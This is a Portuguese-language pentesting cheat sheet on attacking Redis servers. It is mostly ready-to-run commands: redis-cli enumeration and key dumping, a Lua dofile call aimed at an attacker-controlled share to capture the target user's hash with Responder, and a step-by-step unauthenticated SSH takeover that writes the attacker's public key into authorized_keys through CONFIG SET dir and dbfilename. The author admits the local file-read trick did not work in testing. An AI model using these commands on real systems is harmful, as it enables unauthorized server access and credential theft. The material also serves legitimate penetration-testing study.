Redis

Comandos Básicos

Modo Interativo

Conectando ao host

redis-cli -h <ip>

Após se conectar, utilize os comandos abaixo para buscar a maior quantidade de informações possíveis.

COMANDO

DESCRIÇÃO

INFO

Informações sobre a execução do Redis

client list

Lista todos os clientes que estão conectados no momento

SET <key> <value>

Define um determinado valor em uma variável

GET <key>

Exibe o valor de determinada variável

CONFIG GET *

Retorna todas as configurações

CONFIG GET dir

Retorna as configurações do diretório atual

CONFIG SET dir </path/directory>

Define um diretório. Isso também pode ser útil para saber se determinado diretório existe no servidor ou não

INFO keyspace

Buscando por todos os keyspaces (databases). Por padrão, o Redis usará o banco de dados 0, mas note que pode haver mais, como o 1, por exemplo. Note que ele possui uma determinada quantidade de keys que pode ser lido (dump)

= Utilize o comando acima para saber o número do keyspace.

Utilize o comando acima para saber o número do keyspace

KEYS *

Execute somente depois de selecionar o keyspace utilizando o comando acima, pois assim irá fazer o dump das chaves de um determinado keyspace

GET <key>

Pegando o valor de determinado key, resultante do comando acima

--stat

Status atual

Lendo Arquivos Locais

OBS.: Nos testes que fiz, a leitura de arquivos não funcionou, talvez por conta da versão do Redis (ou não). Talvez possa ser apenas uma maneira de saber se um determinado arquivo existe ou não no servidor. Assim que realizar novos testes, irei atualizar isso.

eval "dofile('C:\\\\Users\\\\<user>\\\\Desktop\\\\<file.txt>')" 0

Pegando Hash do Usuário

Primeiro ative o Responder com o comando:

responder -I <interface> -rdvw

Depois acesse o Redis no modo interativo (comando no início dessa página) e depois execute os comandos:

# Lendo arquivo remoto
eval "dofile('//<ip_atacante>/share')" 0

Ao acessarmos o servidor remoto (que executa o Responder), somos capazes de pegar o usuário presente no host alvo e sua hash. Próximo passo agora, é quebrar esse hash através de um Brute Force (clique no link abaixo para mais detalhes).

Offline

Modo não Interativo

Verificando status do atual do Redis

redis-cli -h <ip> --stat

Executando o comando no Redis sem deixa o terminal no modo interativo

redis-cli -h <ip> -p <port> -r -x <command>

Executa o comando ping determinada quantidade de vezes

redis-cli -h <ip> -p <port> -r <quantidade> ping

Listando variáveis

redis-cli -h <ip> -p <port> --scan

Pegando Acesso SSH via Redis

Redis na versão 4.0 e 5.0 são vulneráveis a execução de comando sem precisar de autenticação. Note que o parâmetro -p por default será 6379.

# Gerando chave SSH
# Vide na seção Utilização do Linux para mais detalhes
ssh-keygen -t rsa
# Caso a linha abaixo dê erro, substitua os 2 "\n\n" por "\r\n"
(echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub ; echo -e "\n\n") > ~/key.txt
cat ~/key.txt | redis-cli -h <ip> -p <port> -x set ssh_key

# Redis
redis-cli -h <ip> -p <port>
# Altere para outro diretorio se preciso, como /home/redis/.ssh
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit

# Acessando via SSH (sem precisar de senha)
ssh redis@<ip>

Sites

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

Last updated